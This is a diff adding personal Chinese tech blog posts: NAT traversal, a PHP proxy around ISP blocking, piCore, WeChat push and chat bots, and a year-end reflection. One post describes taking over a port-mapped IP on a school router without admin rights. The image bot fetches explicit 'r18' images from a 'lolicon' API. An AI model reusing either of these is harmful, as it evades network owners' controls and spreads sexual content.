我大概查了一下相关的资料,一般来说内网是路由器自己划分出来的局域网。正常来说,如果想让所有的机器都登上外网,可以把路由器换成交换机,可惜换不得,毕竟外网IPv4的资源是有限的,就是插了交换机,也需要ISP分配IP地址给机器。
|
||||
根据我的了解,局域网和广域网进行通信的时候会用到一个叫做NAT的技术,大概原理就是路由器在内网访问外网时能把自己伪装成一般的电脑向其他服务器发送数据,发送过去的时候路由器会记住是哪个内网设备发送的数据,最终传回的数据路由器也会按原路转发回请求的主机,通过这样就可以把内网和外网联系起来。
|
||||
这时候就会有一个问题,那就是在这个过程中路由器和其他的电脑没有什么区别,假如在广域网的机器想要访问局域网的机器,那么正常来说就是直接访问那个路由器所在的IP就可以了,但是内网并没有发请求给广域网,路由器也不知道要把数据传给谁,它就会把这个数据丢掉。
|
||||
这个问题应该怎么解决?其实很简单,那就是连之前先由局域网的机器向想要访问这个机器的外网机器发送数据,这样外网机器就能顺理成章的连到内网的机器里面了,这确实是一个不错的解决方案,事实上现在几乎所有的内网穿透都是使用的这个方案。
|
||||
除此之外还有一个叫做UPnP的协议貌似也可以穿透,P2P应该都是用的这种方法,不过需要路由器支持才行。这种协议好像可以自动进行端口映射,大概是通过某种协议让路由器可以在内网机器没有主动发送数据的情况下把数据发送给内网机器吧,具体我也不是很清楚。
|
||||
另外如果有内网与外网相连的路由器的管理权限,也同样可以做到内网穿透,直接搞端口映射就完事,这种就更加简单了,但是一般情况下我们肯定没有路由器的管理权,不然也不至于这么苦恼了。
|
||||
|
||||
# 一些实现的方案
|
||||
现在内网穿透的技术有很多,不过因为内网机器直接主动连外网这种方法比较简单,所以接下来说到的方法基本上都是通过这种方式的。
|
||||
## 利用VPN创建隧道
|
||||
VPN的原理是通过由主机主动向VPN服务器连接隧道并通过虚拟一个路由器组成VLAN的一种技术,通过这个介绍也能很明显看出来这是由主机主动发出的吧,通过这种方式即使不在内网中也可以让内网的电脑连自己的VPN来连接内网的电脑,以此再继续连到内网电脑所能连接的网络里面。
|
||||
这种方法算是比较简单,而且很安全的方式,不过可惜中国的好多ISP都屏蔽VPN,用这种方式不是很稳当。
|
||||
## SSH隧道
|
||||
SSH这个软件很强大,有的功能也很多。既然VPN被屏蔽了那22端口总不至于屏蔽吧,总不能把运维的饭都给抢了吧?通过SSH隧道的方式使用起来也很简单,在公网服务器上打开sshd的GatewayPorts功能,内网设备通过执行类似于`ssh -fN -R 10022:localhost:22 远程用户@远程主机`这样的命令启动隧道,然后其他电脑就可以通过这个公网服务器连这个内网设备了。
|
||||
这种方法很不错,但是还是有一个问题,那就是需要租服务器(刚才的VPN同样需要),所以可以还有更好的方案。
|
||||
## 某些服务商提供的frp
|
||||
frp从名字上就能听出来它是一种代理吧,这种东西目前有很多服务商都有提供,比如SakuraFrp,还有花生壳啥的,当然如果手头有服务器也可以自己搭。这种的和前面几种不一样的是它反代出来的服务可以让其他用户直接用,很方便,不过有一个限制,就是一台服务器最多只能反代出64551个服务(不考虑tcp和udp的区别),正常人都是够用了。
|
||||
## 端口映射
|
||||
这是最好的方案,毕竟这样做可以保证不限速,而且也不需要外网服务器,但是路由器的管理权限很难搞,这确实没办法。
|
||||
|
||||
# 后记
|
||||
所以最后我用了哪种方案呢?既然端口映射最好那当然是用这个啦!但是有一个问题是我没有路由器管理权,怎么办呢?没关系,这个路由器以前有人做过端口映射,只是现在没人用了而已,于是我就跟着这个配置把服务器设置成和被映射主机一样的IP,然后就可以用了。
|
||||
另外就是运用资源的问题了,这么多资源我自己用都想不出来干什么比较好,所以我考虑要不然搞IDC?总之在资源利用起来之前先让它们为世界做点贡献吧,这些服务器算力确实猛,在WCGrid里目前我的每日排名都能达到世界前200,确实厉害。
|
28
_posts/2021-01-04-summary.md
Normal file
28
_posts/2021-01-04-summary.md
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
layout: post
|
||||
title: 年终总结
|
||||
tags: [总结]
|
||||
---
|
||||
|
||||
又一年过去了啊……<!--more-->
|
||||
|
||||
# Null
|
||||
2020年过完了啊……明明和2019年一样也不过在学校待了半个学期,而且理论上来说今年我应该会过的更好啊……为什么我会■■到什么也不记得呢?
|
||||
又回看了一遍[去年的年终总结](/2019/12/31/summary.html),今年我真的是啥都没干啊……
|
||||
本来这一篇年终总结应该放到5天前的,可是无论如何我似乎都没心情写下去了……有一部分是因为中国的互联网环境越来越糟糕,想在中国不备案的情况下建网站越来越难了,现在很多地方的运营商都已经开始屏蔽Github Pages,以至于我自己连我的博客都要用特别的方法上……
|
||||
另外就是什么都不记得的问题,近几天我的生存环境是真的很糟糕啊……并不是说待的环境很糟糕,应该是说生存能力变差了很多吧。不仅如此,我感觉各项能力水平都开始下降了……
|
||||
其实不应该这样糟糕的,至少前两天我还抽奖中了一个机械键盘,应该感到高兴。不过中奖也不过如此,我在玩PCR的时候1#什么都没出也是很糟糕的事情啊……更何况300连后又抽了11发,仍然什么都没有,随机的事情也不过如此。
|
||||
|
||||
# 2020年特别的事情
|
||||
是时候想点高兴的事情了,像在这个学期我成为了我所在社团部门的部长,这本身倒也没啥,不过在这个职位所得到的东西是应该让我很高兴才对。
|
||||
像是在冬天温暖的办公室,很多性能虽然很差但是就是免费而且能用的电脑,可以躺下来像家庭影院般的投影仪,以及试用了1个月的理论上可以创造1wCNY价值的服务器,这些都是很不错的事情,而且它们都是免费的(相比于其他人所享用的事情)。然而即使如此还是会出现问题,莫名其妙的问题……
|
||||
其他的事情似乎能回想起来的不多了,直接看以前写的文章也许可以大概的了解一些。另外根据统计来看,我似乎在家里写的博客更多?果然我虽然好像享有很多东西,可是没有家里舒服,虽然我在家里也并不开心,但是似乎还是比在学校好一点……这真的是很令人担心啊……
|
||||
|
||||
# 更早的事情
|
||||
似乎根据我的记录来看,只要是和人在一起,终究我都不会很高兴,另外现在我在写这一篇文章的状态也不太好,虽然打字看起来甚至熟练到就和说话一样,但是思维却是乱的。
|
||||
即使在完全没有人的地方,我肯定也没有合适的生存环境,令人沮丧的一点是所有的事情全部都是有期限的,就像隔一段时间要洗澡,衣服也只能穿一段时间……我很久以前就在想,如果可以像服务器一样整天都在最舒适的环境下,除了连接网络其他什么都不需要,不需要什么像屏幕、键盘、鼠标等等的IO设备,仅仅需要连接网络该多好,这就让我想起来前段时间玩的《Cyberpunk 2077》了,转换成为印迹永远的生活在网络空间中……
|
||||
当然我没有像服务器那样的工作能力,资本家永远是资本家,不是所有的主机都可以享用那样的环境,因为不是所有主机都有那样的能力,我即使能够24小时在网络世界中,我也没有钱在我没办法创造利益的情况下生活一辈子,所以想着那样的事情也没有用,看看接下来该怎么继续向前走吧!
|
||||
|
||||
# 后记
|
||||
其实我在12月31的时候本来是想写对内网穿透的进一步研究,不过好像精神状态不太能支持我写下去,所以接下来我会再仔细研究一下NAT和NAPT,然后写出新的文章。
|
||||
其他我也没什么特别想说的了,今天就先这样吧!接下来几天还要考试,虽然现在我什么都不会,接下来的考试我感觉很难通过,但是没办法,也只能这样了,不知道接下来的生活会怎么样……
|
45
_posts/2021-01-06-proxy.md
Normal file
45
_posts/2021-01-06-proxy.md
Normal file
@ -0,0 +1,45 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何用PHP制作一个简单的反向代理
|
||||
tags: [PHP, 代理]
|
||||
---
|
||||
|
||||
解决问题还是很简单的。<!--more-->
|
||||
|
||||
# 起因
|
||||
由于莫名其妙的原因,很多运营商都屏蔽了Github Pages,导致我上我的博客很困难。这令我很不高兴,但是没办法,毕竟在中国就是这样,搭个网站很麻烦。
|
||||
在两年前,我的博客也被屏蔽过一次,那时候我是用的Nginx反代解决这个问题的,不过Nginx反代要服务器,当时我用的是花火学园的服务器来搞,但是现在因为登一次花火学园的服务器很麻烦,网络卡的不得了,所以没办法,我只好想想别的更简单的方法解决这个问题。
|
||||
这时候我就想到了PHP,用PHP解决这个问题应该很简单,用`file_get_contents()`应该很轻松就可以解决这个问题。
|
||||
|
||||
# 解决过程
|
||||
理论上来说,只要整一个php然后里面直接用`echo file_get_contents(url)`就可以实现反代了,所以首先就按这个思路做,为了让访问的所有请求都发送到这个php里,我得用重写的方式。
|
||||
我用的是GearHost的虚拟主机,他们的主机都用的是IIS,这导致我还得了解一下IIS的重写怎么搞,还好我的方案和WordPress的重写方案很像,我就直接按照WordPress的方式写了。
|
||||
把下面的代码放到Rewrite的rules段里就可以正常工作了:
|
||||
```xml
|
||||
<rule name="Mayx" stopProcessing="true">
|
||||
<match url="^(.*)$" />
|
||||
<conditions>
|
||||
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
|
||||
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
|
||||
</conditions>
|
||||
<action type="Rewrite" url="index.php"/>
|
||||
</rule>
|
||||
```
|
||||
然后就是新建一个index.php文件,路径的话用`$_SERVER['REQUEST_URI']`就可以了。
|
||||
不过如果直接用`echo file_get_contents(url)`的方法搞会出现一些问题,比如css和js的MIME类型要求必须和实际一样,但是我这个方案会导致所有请求都是`text/html`类型的,这是个很麻烦的问题啊……
|
||||
后来我花了2个小时查资料,搜php怎么读MIME,结果搜到的全是`mime_content_type()`之类乱七八糟的东西,让人很难受。我仔细思考了一下,MIME是在Header里声明的,我应该去搜Header,而不是怎么读MIME,最终可算是搜到了一点有用的东西了,也就是`$http_response_header`,这个东西好像是个数组,后来我想了一下干脆不要考虑怎么读MIME,直接把Header跟着重写一遍算了,于是最终代码如下:
|
||||
```php
|
||||
<?php
|
||||
$content=file_get_contents("https://mabbs.github.io".$_SERVER['REQUEST_URI']);
|
||||
foreach($http_response_header as $header){
|
||||
header($header);
|
||||
}
|
||||
if($content){
|
||||
echo $content;
|
||||
}else{
|
||||
echo "404";
|
||||
}
|
||||
```
|
||||
|
||||
# 之后的操作
|
||||
这么搞完之后基本上就可以正常工作了,于是我的博客域名再一次更换(专供中国用户):[yuki.gear.host](https://yuki.gear.host/),另外把备用的Gitalk的Github Apps返回地址也改了,基本上就可以正常工作了。希望以后GFW能做个人,不要再乱搞国内的网络环境了。
|
27
_posts/2021-01-17-picore.md
Normal file
27
_posts/2021-01-17-picore.md
Normal file
@ -0,0 +1,27 @@
|
||||
---
|
||||
layout: post
|
||||
title: piCore的使用经历
|
||||
tags: [树莓派, piCore]
|
||||
---
|
||||
|
||||
不流行的发行版也很好用啊<!--more-->
|
||||
|
||||
# 开端
|
||||
[上个月我试着在树莓派上使用piCore](/2020/12/07/picore.html),本来是想解决打印机的问题,不过因为没有打印机驱动所以也就无所谓了,还是用电脑好一些。
|
||||
学校也有一个树莓派,但是没有SD卡,不过没关系,piCore就是在这个时候起作用的,我在学校的时候找了一张我自己的SD卡插在了那个树莓派上,使用piCore启动后就可以把SD卡拔掉了。正因为它的系统在内存中运行,所以没有SD卡也能正常工作。
|
||||
之后我在上面开了一个穿透,这样我在家也可以玩在学校的树莓派了。
|
||||
|
||||
# 使用经历
|
||||
## 无卡安装软件的经历
|
||||
虽然piCore的系统运行在内存中,但是默认情况下它的软件全部安装在SD卡中,把SD卡拔掉后发生的第一个问题就是软件没有办法正常使用了。原来安装的软件不能启动,然后想安装新的软件也没办法安装……这样就不太好了,像连接Wifi的软件也在SD卡中,虽然有些守护进程运行后程序会载入内存不会因为没有SD卡出问题,但是如果我想连接新的Wifi就没办法使用了……这要我怎么办呢?后来我研究了一下piCore安装软件的代码,那些软件管理器全部都是用的Shell写的,对于从小就在使用Shell的我基本上都能看懂。后来我发现安装的软件其实都不是读取SD卡挂载的目录,而是`/etc/sysconfig/tcedir`目录,然后这个目录又有一个软链接指向SD卡的挂载目录。这样就很好搞了啊,把原来的软链接删掉,新建一个`tcedir`的目录就好了。当然不止如此,在这个文件夹里还要创建一个`optional`目录,这样软件包才能下载到正确的位置。
|
||||
这些操作完成后就好了吗?并没有,现在安装新的软件已经没有问题了,但是安装以前安装过的软件会出现问题。在piCore中,安装过的软件会在`/usr/local/tce.installed`这个文件夹下创建一个文件,软件管理器会读取这个文件夹下的内容判断程序是否安装。但是SD卡拔掉后这个文件不会消失,所以我还得要手动把这里面的文件删掉,这样安装旧软件就不会出现问题了。
|
||||
对了,还有一点是权限问题,由于不知道什么原因,软件管理器要求不能在root权限下安装软件,这样的话在创建`/etc/sysconfig/tcedir/optional`这个路径的时候就需要注意不能以root权限创建,不然软件有可能会安装失败。
|
||||
虽然说piCore,或者说TinyCore并不是一个流行的发行版,不过软件还是有不少的。虽然不像Ubuntu那样可以用`apt`那样有非常多的软件可以用,不过正常使用的话软件基本上也够用了,虽然说也可以安装图形界面,不过因为我用的树莓派3B的内存太小了,只有1G,所以也不敢安,而且我有Windows的远程桌面,也没必要折腾树莓派搞图形界面。
|
||||
## 运行其他软件的经历
|
||||
作为Linux发行版,软件和生态固然很重要,但是使用软件的方式也不只是用通过安装软件包的方式。软件的本质还是二进制文件,所以说有些piCore仓库里没有的软件,我们也可以直接运行二进制文件。
|
||||
举一个例子的话……比如说Cloudreve,一个用Golang写的网盘系统,就能很简单的在上面运行。在Release中找到arm64的程序,下载到树莓派上,然后直接解压运行就OK了,非常的轻松,像那些已经编译好的软件很轻松就能拿来直接用。
|
||||
再比如说就是穿透,我用的是SakuraFrp,同样那是一个单独的已经编译好的程序,直接下载arm64的程序,然后再运行就可以了。
|
||||
还有比如想通过当CDN赚钱,比如说甜糖,同样下载对应的编译好的程序就OK了,当然即使这个软件能运行,这个计划还要求有32GiB以上的存储空间那还得另外插个U盘啥的那就是那么一回事了……
|
||||
|
||||
# 总结
|
||||
由于piCore可以在内存中运行的特性,而且还有不错的软件管理器,我觉得它确实是一个在树莓派上相当不错的系统,而且相对来说也很简单,也许用buildroot也可以整一个类似的系统,但是有piCore就方便很多,也不用编译啥的,安装软件也很方便,另外更新一样也很方便,用`tce-update`就能更新,卸载的话后来我发现是用`tce-audit remove`……总的来说系统确实很不错,就是文档真的很垃圾,写的很不清楚,好多功能还得自己研究,然后网上也没有可以参考的……除此之外,设计的确实很不错。
|
49
_posts/2021-02-02-serverchan.md
Normal file
49
_posts/2021-02-02-serverchan.md
Normal file
@ -0,0 +1,49 @@
|
||||
---
|
||||
layout: post
|
||||
title: 自己动手做一个Server酱·TurboMini版
|
||||
tags: [Server, PHP]
|
||||
---
|
||||
|
||||
一句话就能解决的问题也敢收费?<!--more-->
|
||||
|
||||
# 起因
|
||||
我以前经常使用Server酱给我推送日报,或者告诉我树莓派有没有正常启动之类的事情。之所以使用它是因为那个API还是挺方便的,而且我平时微信也用的多,能直接通过微信推送信息也挺不错的。
|
||||
后来Server酱整了个什么Turbo版,不过我用普通版用的挺好就没怎么管。结果今天发了个什么通知,说他们的服务有可能要挂?我这个人最讨厌的就是服务不稳定,连个服务都整不稳定的人干脆别做服务了,做出来那不是害人嘛,像之前那个什么LeanCloud就不行,因此我还[自己写了一个博客计数器](/2019/06/22/counter.html)。
|
||||
然后我就看了看他们的Server酱·Turbo版,好家伙,还是收费的,8CNY/mo有点过分啊,也不过是调用微信接口还要花钱?看了之后我说不行,这个太贵了,我倒要看看这东西到底要花多少资源。
|
||||
之前我就看他们吹,说自己月请求数5kw,我说这有啥,我花火学园每个月请求数要上亿,也花不了几个钱,5kw就敢出来吹?还敢开课?所以今天我就来看看这所谓的“配置略显复杂”到底有多复杂。
|
||||
|
||||
# 试着做一下
|
||||
我看了下微信关于测试号的接口文档,看起来也没多复杂嘛,我估摸了一下,最多一句话就能搞定!然后就试着用PHP写了一下。
|
||||
最终的代码如下:
|
||||
```php
|
||||
<?php
|
||||
$appid='appID';
|
||||
$secret='appsecret';
|
||||
$userid='微信号(OpenID)';
|
||||
$template_id='模板ID';
|
||||
$title='标题';
|
||||
$content='内容';
|
||||
file_get_contents('https://api.weixin.qq.com/cgi-bin/message/template/send?access_token='.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'], false, stream_context_create(array('http' => array('method'=>'POST','header'=>"Content-Type: application/json;charset=utf-8",'content'=>'{"touser":"'.$userid.'","template_id":"'.$template_id.'","data":{"title": {"value":"'.$title.'"},"content": {"value":"'.$content.'"}}}'))));
|
||||
```
|
||||
写好之后测试了一下,效果还不错,和Server酱测试号的效果几乎一模一样,除了没有能点开的网页,当然要想搞也行,很简单,就插一个URL就可以了,如果你希望整些更多的特效,也可以去[模板接口文档](https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Template_Message_Interface.html)里面看。
|
||||
关于限制方面的话也要比Server酱要好,理论上我的代码每天能发送2000次,主要是因为获取access_token的接口每天只能使用2000次,不过如果能缓存access_token的话理论上每天能发送100000次,要比垃圾Server酱的1000次好得多。
|
||||
|
||||
# 如何得到参数?
|
||||
我写的代码是兼容Server酱的,所以跟着他们的配置指南也可以直接用,不过有人可能连Server酱是啥都不知道,我也不给他们引流了,免得浪费他们珍贵的服务器资源。
|
||||
要做的事情很简单,首先打开[申请页面](https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login),然后扫码登录,成功之后就能看到测试号管理的页面了。
|
||||
首先看到的是appID和appsecret,这样我们就已经获得了两个参数。另外两个的话就继续往下翻,找到测试号二维码,用微信扫描关注后就会出现自己的微信号,当然这个不是真正的微信号,相当于只是一个识别码,这样第三个参数也得到了。接下来是第四个参数,找到模板消息接口,点击新增测试模板,标题输入推送通知,或者你喜欢的啥都行,内容的话填:
|
||||
```
|
||||
{% raw %}{{title.DATA}}
|
||||
{{content.DATA}}{% endraw %}
|
||||
```
|
||||
之所以这样填是为了兼容Server酱,当然也可以自己改代码然后填别的也行。不过如果不想改代码在末尾加个签名也没有问题,比如说这样:
|
||||
```
|
||||
{% raw %}{{title.DATA}}
|
||||
{{content.DATA}}{% endraw %}
|
||||
--By Mayx
|
||||
```
|
||||
这样第四个参数模板ID我们也得到了,这样上面的代码应该可以正常使用了。
|
||||
需要注意的一点是由于莫名其妙的原因,有可能扫码后第一次得到的appsecret是错的,如果代码不能正常工作,可以刷新测试号管理的页面看看有没有变化,如果有就输入最新的appsecret。
|
||||
|
||||
# 结语
|
||||
我觉得作为开发者,这种简单的小活就自己干吧,没必要给所谓不赞助就不能用功能的开发者给钱,我觉得既然叫赞助,就不能有差别待遇,不然这就叫做收费,就是商业行为,不要用赞助这种词给自己的资本家行为贴金。
|
105
_posts/2021-02-06-wechatbot.md
Normal file
105
_posts/2021-02-06-wechatbot.md
Normal file
@ -0,0 +1,105 @@
|
||||
---
|
||||
layout: post
|
||||
title: 自制一个简单的微信聊天机器人
|
||||
tags: [微信, 聊天, 机器人, PHP]
|
||||
---
|
||||
|
||||
感觉API好像还挺有意思<!--more-->
|
||||
|
||||
# 起因
|
||||
前两天我[制作了Server酱·TurboMini版](/2021/02/02/serverchan.html)之后感觉微信公众号的API好像还挺有意思的,总的来说也不是很复杂,没有用什么特别奇怪的东西,而且文档还算清晰,这一点还是很不错的。
|
||||
于是最近我就开始看微信开放文档,其实我刚写完Server酱·TurboMini版之后我就在想,好多人在QQ上搞那种只要说来点什么图,机器人就会发图片的一个功能。我感觉这个好像有点意思,因为我平时用微信更多一些,既然有测试号这样好的平台,那么我就应该搞点这样的功能。
|
||||
我花了一天的时间通读整个文档然后把程序写了出来,然而发生了很糟糕的事情,那就是微信被动回复的时间要求必须在5秒以内,否则就会报错,然而让服务器转发图片本来就很耗时,又加上我用的是垃圾国外免费的虚拟空间,中国与国际互联网的连接又很差劲,导致5秒内程序必定不可能来得及回复。
|
||||
没办法,我花了一天时间写的东西,我一定要水一篇文章!所以我想了想,干脆写成聊天机器人吧,那个东西也简单,像我博客上的伊斯特瓦尔就用了聊天机器人(有现成的API啥都好搞)。于是我稍微改动了一下代码,把发图机器人改成了聊天机器人。
|
||||
|
||||
# 代码
|
||||
```php
|
||||
<?php
|
||||
$appid=微信appID;
|
||||
$secret=微信appsecret;
|
||||
$appkey=图灵机器人APIkey;
|
||||
function checkSignature()
|
||||
{
|
||||
$signature = $_GET["signature"];
|
||||
$timestamp = $_GET["timestamp"];
|
||||
$nonce = $_GET["nonce"];
|
||||
|
||||
$token = 'mayx';
|
||||
$tmpArr = array($token, $timestamp, $nonce);
|
||||
sort($tmpArr, SORT_STRING);
|
||||
$tmpStr = implode( $tmpArr );
|
||||
$tmpStr = sha1( $tmpStr );
|
||||
|
||||
if( $tmpStr == $signature ){
|
||||
return true;
|
||||
}else{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(checkSignature()){
|
||||
if($_GET["echostr"]){
|
||||
echo $_GET["echostr"];
|
||||
}else{
|
||||
$content = file_get_contents("php://input");
|
||||
$p = xml_parser_create();
|
||||
xml_parse_into_struct($p, $content, $vals, $index);
|
||||
xml_parser_free($p);
|
||||
if($vals[$index['MSGTYPE'][0]]['value'] == 'text'){
|
||||
echo '<xml>
|
||||
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
|
||||
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
|
||||
<CreateTime>'.time().'</CreateTime>
|
||||
<MsgType><![CDATA[text]]></MsgType>
|
||||
<Content><![CDATA['.json_decode(file_get_contents('https://www.tuling123.com/openapi/api', false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type:application/x-www-form-urlencoded','content' => http_build_query(array('key' => $appkey,'info' => $vals[$index['CONTENT'][0]]['value'],'userid' => $vals[$index['FROMUSERNAME'][0]]['value'])))))),true)['text'].']]></Content>
|
||||
</xml>';
|
||||
}
|
||||
}
|
||||
}else{
|
||||
echo 'error';
|
||||
}
|
||||
```
|
||||
|
||||
# 使用方法
|
||||
和[上一篇文章](/2021/02/02/serverchan.html)一样,同样需要去[申请](https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login)一个测试号,不过有一点不一样,那就是这一次需要配置接口配置信息,URL就填这个程序能在互联网上访问的地址,而Token则是填mayx。为什么呢?因为我在代码里这样写的啊……如果想改可以把对应的变量改成自己喜欢的值,总之保证两边一样就行。
|
||||
提交之后接口就配置好了,不过还没有结束,为了能使用机器人,还得要去注册[图灵机器人](http://www.turingapi.com/),毕竟又不可能自己去写一个聊天机器人,那个需要的资源太多了。现在那个图灵机器人好像必须要实名才能用,那总之混互联网的人遇到这种问题应该也不是问题了吧。
|
||||
注册好机器人之后就直接把APIKey粘到代码里面,然后整个代码就可以正常运行了,现在你就可以和你的机器人聊天了。
|
||||
|
||||
# 暂时废弃的代码
|
||||
```php
|
||||
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
|
||||
|
||||
$file_contents = file_get_contents(json_decode(file_get_contents('https://www.pixiv.net/ajax/illust/'.json_decode(file_get_contents('https://api.loli.st/pixiv/'),true)['illust_id'].'/pages'),true)['body'][0]['urls']['regular'], false, stream_context_create(array('http' => array('method' => 'GET','header' => "referer: https://www.pixiv.net/"))));
|
||||
|
||||
$context = stream_context_create(array(
|
||||
'http' => array(
|
||||
'method' => 'POST',
|
||||
'header' => 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY,
|
||||
'content' => "--".MULTIPART_BOUNDARY."\r\n".
|
||||
"Content-Disposition: filename=\"image.png\"\r\n".
|
||||
"Content-Type: image/png\r\n\r\n".
|
||||
$file_contents."\r\n".
|
||||
"--".MULTIPART_BOUNDARY."--\r\n"
|
||||
)
|
||||
));
|
||||
|
||||
echo '<xml>
|
||||
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
|
||||
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
|
||||
<CreateTime>'.time().'</CreateTime>
|
||||
<MsgType><![CDATA[image]]></MsgType>
|
||||
<Image>
|
||||
<MediaId><![CDATA['.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/media/upload?access_token='.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)[access_token].'&type=image', false, $context),true)['media_id'].']]></MediaId>
|
||||
</Image>
|
||||
</xml>';
|
||||
```
|
||||
其实这段代码不是不能工作,只是它不能符合要求,没办法及时的把图片上传到微信服务器上,也没办法及时回复……也许如果有很好的条件,这段代码就可以运行了吧……
|
||||
我也试过如果不是Pixiv上面的图片,而是图片在很小而且也很快的服务器上时,这个代码是能运行的。
|
||||
|
||||
# 替代的方案
|
||||
我看完文档之后好像也没有主动向用户发送信息的接口,只有被动发送的,那这5秒问题估计是没法解决了吧……不过我看网上说如果用客服接口好像就没有这样的限制,总之我回头试试看吧。
|
||||
另外我也想了几种方案:
|
||||
1. 每天定时向微信服务器上传图片,需要时只发送ID,不再在得到请求时再上传。
|
||||
2. 设置2条命令,一条用于向微信服务器上传,另一条负责取回。不过这样有个问题就是ID不太好传,可能还得缓存一下,其实上面那个一样也得缓存。
|
||||
3. 搞成图文形式,每天定时发送,就像日报一样
|
||||
|
||||
目前大概就想出这么多,更多的睡起来再慢慢想吧~
|
7
_posts/2021-02-09-try2.md
Normal file
7
_posts/2021-02-09-try2.md
Normal file
File diff suppressed because one or more lines are too long
143
_posts/2021-02-19-picbot.md
Normal file
143
_posts/2021-02-19-picbot.md
Normal file
@ -0,0 +1,143 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何制作一个能发好图的微信机器人
|
||||
tags: [微信, 聊天, 机器人, PHP]
|
||||
---
|
||||
|
||||
微信?不好。PHP?好!<!--more-->
|
||||
|
||||
# 起因
|
||||
前几天,我由于图片机器人做失败了所以做了一个[聊天机器人](/2021/02/06/wechatbot.html),但是很可惜,人家图灵机器人支持一键接入微信公众号,哦,当然测试号不行,总而言之做那个什么聊天机器人毫无意义,而且我还用的是V1的API,功能根本就没发挥出来。
|
||||
总之,既然目标是做图片机器人,那么就不能就聊天机器人而满足了,正好,今天看到群友分享了一个不错的[API](https://api.lolicon.app/),文档写的很清晰,而且功能不错,我反正也懒得去思考要怎么搞Pixiv上面的图片,既然有人已经写好了,那就直接用就好了。
|
||||
|
||||
# 怎么搞
|
||||
既然图源有了,那么要怎么发送图片呢?既然听别人说可以用什么客服接口,那就再仔细看看那个文档呗。我以前以为那个客服接口必须要生成客服账号啥的很麻烦就没怎么看,后来发现好像不用,而且只要用户发一句话,在48小时内都可以调用这个接口给用户发消息,那这么看来就很棒了啊,我还以为只有5秒内被动回复一种方法,这样我可以直接整个异步过去。具体API的用法可以去看[微信开放文档](https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Service_Center_messages.html#7)。
|
||||
|
||||
# 快点上代码
|
||||
```php
|
||||
<?php
|
||||
$appid=微信appID;
|
||||
$secret=微信appsecret;
|
||||
$appkey=图灵机器人APIkey;
|
||||
$apikey='Lolicon API Key';
|
||||
|
||||
ini_set('session.gc_maxlifetime', 7200);
|
||||
ignore_user_abort(true);
|
||||
set_time_limit(0);
|
||||
session_id('Storage');
|
||||
session_start();
|
||||
if(!json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='.$_SESSION['access_token']),true)['ip_list']){
|
||||
$_SESSION['access_token']=json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'];
|
||||
}
|
||||
if($_GET["upap"]){
|
||||
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
|
||||
|
||||
$picurl=json_decode(file_get_contents('https://api.lolicon.app/setu/?r18=1&size1200=1&apikey='.$apikey),true)['data'][0]['url'];
|
||||
if(!$picurl){
|
||||
$picurl=json_decode(file_get_contents('https://api.lolicon.app/setu/?r18=1&size1200=1'),true)['data'][0]['url'];
|
||||
}
|
||||
if(!$picurl){
|
||||
file_get_contents('https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='.$_SESSION['access_token'] , false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/json;charset=utf-8','content' => '{
|
||||
"touser":"'.$_GET["openid"].'",
|
||||
"msgtype":"text",
|
||||
"text":
|
||||
{
|
||||
"content":"很抱歉,获取失败,可能是API次数达到上限,请明天再试"
|
||||
}
|
||||
}'))));
|
||||
exit();
|
||||
}
|
||||
|
||||
|
||||
$context = stream_context_create(array(
|
||||
'http' => array(
|
||||
'method' => 'POST',
|
||||
'header' => 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY,
|
||||
'content' => "--".MULTIPART_BOUNDARY."\r\n".
|
||||
"Content-Disposition: filename=\"image.png\"\r\n".
|
||||
"Content-Type: image/png\r\n\r\n".
|
||||
file_get_contents($picurl)."\r\n".
|
||||
"--".MULTIPART_BOUNDARY."--\r\n"
|
||||
)
|
||||
));
|
||||
|
||||
file_get_contents('https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='.$_SESSION['access_token'] , false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/json;charset=utf-8','content' => '{
|
||||
"touser":"'.$_GET["openid"].'",
|
||||
"msgtype":"image",
|
||||
"image":
|
||||
{
|
||||
"media_id":"'.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/media/upload?access_token='.$_SESSION['access_token'].'&type=image', false, $context),true)['media_id'].'"
|
||||
}
|
||||
}'))));
|
||||
exit();
|
||||
}
|
||||
|
||||
function checkSignature()
|
||||
{
|
||||
$signature = $_GET["signature"];
|
||||
$timestamp = $_GET["timestamp"];
|
||||
$nonce = $_GET["nonce"];
|
||||
|
||||
$token = 'mayx';
|
||||
$tmpArr = array($token, $timestamp, $nonce);
|
||||
sort($tmpArr, SORT_STRING);
|
||||
$tmpStr = implode( $tmpArr );
|
||||
$tmpStr = sha1( $tmpStr );
|
||||
|
||||
if( $tmpStr == $signature ){
|
||||
return true;
|
||||
}else{
|
||||
